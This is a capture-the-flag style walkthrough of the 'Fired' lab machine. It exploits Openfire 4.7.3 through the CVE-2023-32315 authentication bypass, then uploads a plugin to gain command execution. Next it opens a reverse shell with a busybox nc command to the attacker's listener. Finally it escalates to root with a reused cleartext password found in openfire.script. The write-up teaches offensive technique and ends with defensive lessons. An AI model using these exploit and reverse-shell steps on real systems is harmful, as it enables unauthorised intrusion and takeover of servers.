Fired

TL;DR. Fired runs Openfire 4.7.3, vulnerable to CVE-2023-32315: a path traversal in the admin console bypasses authentication and lets us create an admin (Openfire auth bypass (CVE-2023-32315)). Once in, we upload the "management tool" plugin, which offers an "Execute command" and gives us a shell as openfire. The embedded database (openfire.script) stores a password reused as root's (credentials in source/config).

Recon

Initial scan

The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan. SSH and the two Openfire console ports:

ping -c 1 192.168.131.96
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.131.96

PORT     STATE SERVICE
22/tcp   open  ssh
9090/tcp open  hadoop-datanode
9091/tcp open  ssl/hadoop-tasktracker

nmap -p22,9090,9091 -sCV 192.168.131.96 -oN targetedScan

PORT     STATE SERVICE                VERSION
22/tcp   open  ssh                    OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux)
9090/tcp open  hadoop-datanode        Apache Hadoop
9091/tcp open  ssl/hadoop-tasktracker Apache Hadoop

The "Apache Hadoop" labels are a misleading fingerprint: 9090/9091 serve the Openfire admin console (the jive-* headers give it away). The console login itself shows the version: Openfire 4.7.3.

Exploitation

CVE-2023-32315: authentication bypass

Openfire 4.7.x (before 4.7.5) is vulnerable to CVE-2023-32315: a path traversal against the console (/setup/setup-*) reaches restricted pages without a session, and with that you can create an administrator (Openfire auth bypass (CVE-2023-32315)). Searching for the exploit by version turns up K3ysTr0K3R's:

The exploit automates registering a new admin:

python3 CVE-2023-32315.py -u http://192.168.131.96:9090

[+] Target is vulnerable
[+] Successfully added, here are the credentials
[+] Username: hugme
[+] Password: HugmeNOW

RCE via the "management tool" plugin

We log into the console with the created account, hugme/HugmeNOW:

Openfire lets you upload .jar plugins from Plugins → Upload Plugin. We upload the well-known "openfire management tool" plugin:

The plugin adds a Management Tool entry under Server → Server Settings:

The tool asks for its own password (123, the public plugin's default):

Once in, it offers a system command mode with an Execute command field. A whoami confirms RCE as openfire:

Before triggering the shell, we set up Penelope listening on 22:

penelope 22

From that field we run commands with the service's privileges; we fire a reverse shell:

busybox nc 192.168.45.204 22 -e bash

(Penelope)> listeners add -p 22
[+] Got reverse shell from openfire~192.168.131.96-Linux-x86_64  Assigned SessionID <1>
[+] Shell upgraded successfully using /bin/python3!
openfire@openfire:/$ whoami
openfire

The plugin's Execute command field fires the busybox nc and Penelope upgrades the connection to a PTY: the shell runs as openfire, the service account.

Local

cat local.txt && whoami && ip a && hostname

9fa5c8ea7c2dcb09312c1d2c9c229b51
openfire

Privilege escalation

Root password in openfire.script

Openfire uses an embedded database in /var/lib/openfire/embedded-db/. The openfire.script file holds the configuration INSERTs, including secrets stored in cleartext. We grep for passwords (credentials in source/config):

cd /var/lib/openfire/embedded-db
cat openfire.script | grep pass

INSERT INTO OFPROPERTY VALUES('mail.smtp.password','OpenFireAtEveryone',0,NULL)
INSERT INTO OFPROPERTY VALUES('passwordKey','EOAJUe2Sqdlfqjk',0,NULL)

The SMTP password, OpenFireAtEveryone, is reused as root's password:

su root   # OpenFireAtEveryone

openfire@openfire:/var/lib/openfire/embedded-db$ su root
Password:
root@openfire:/var/lib/openfire/embedded-db# whoami
root

The SMTP password was reused as root's password: su root with OpenFireAtEveryone gives us the root account.

Root

cat /root/proof.txt && whoami && ip a && hostname

673d5a3b8870d82b06088246e71d1d87
root

Attack chain

Openfire (9090/9091)  --  admin console 4.7.3
        │  CVE-2023-32315: path traversal -> create admin hugme/HugmeNOW
        │  upload management tool plugin -> Execute command -> reverse shell
        ▼
openfire  (local.txt)
        │  openfire.script leaks mail.smtp.password = OpenFireAtEveryone
        ▼
root  (proof.txt)  [su with OpenFireAtEveryone]

Lessons learned

• Banners can lie; identify by content. nmap tagged the ports as "Apache Hadoop", but the jive-* headers and the interface revealed Openfire. Do not rely on -sCV alone.
• A path traversal in setup bypasses authentication. CVE-2023-32315 reached configuration pages without a session, and from there you create an admin. Keeping the service patched (4.7.5+) prevents it.
• Uploading plugins as admin is RCE. An admin panel that accepts arbitrary .jar files grants code execution. Admin access must be protected like a shell account.
• Do not store reused secrets in config. openfire.script had the SMTP password in cleartext, and the same one worked for root. Secrets should be unique per service and, ideally, not persisted in plaintext.